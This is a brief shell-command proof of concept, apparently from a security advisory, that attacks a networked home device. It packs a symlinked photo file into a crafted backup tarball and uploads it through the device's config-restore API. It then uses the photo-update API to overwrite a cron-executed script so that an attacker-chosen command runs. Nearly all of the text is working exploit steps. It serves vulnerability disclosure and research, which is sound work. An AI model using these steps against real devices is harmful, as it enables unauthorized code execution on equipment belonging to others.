$ tree backup
backup
├── backup.version
├── configure.xml
└── photos
└── user.123.photo -> /mnt/shares/usr/bin/scripts/check_system_time.sh
$ tar -C backup -cvzf backup.tgz configure.xml photos backup.version
$ aescrypt -e -p $sAppid -o backup.bin backup.tgz
-- send binary for config restore
$ sCmd="/mnt/shares/usr/bin/scripts/circle/power_down.sh"
$ curl -k "https://${sIP}:4567/api/CONFIG/restore" -F "token=${sToken}" -F "appid=${sAppid}" -F "[email protected]"
-- wait for the device to reboot
-- overwrite "check_system_time.sh"
$ curl -k "https://${sIP}:4567/api/UPDATE/users/user/photo" --data "token=${sToken}&user.pid=123&photo=${sCmd}"
-- in 2 minutes, "check_system_time.sh" will be executed by a cronjob
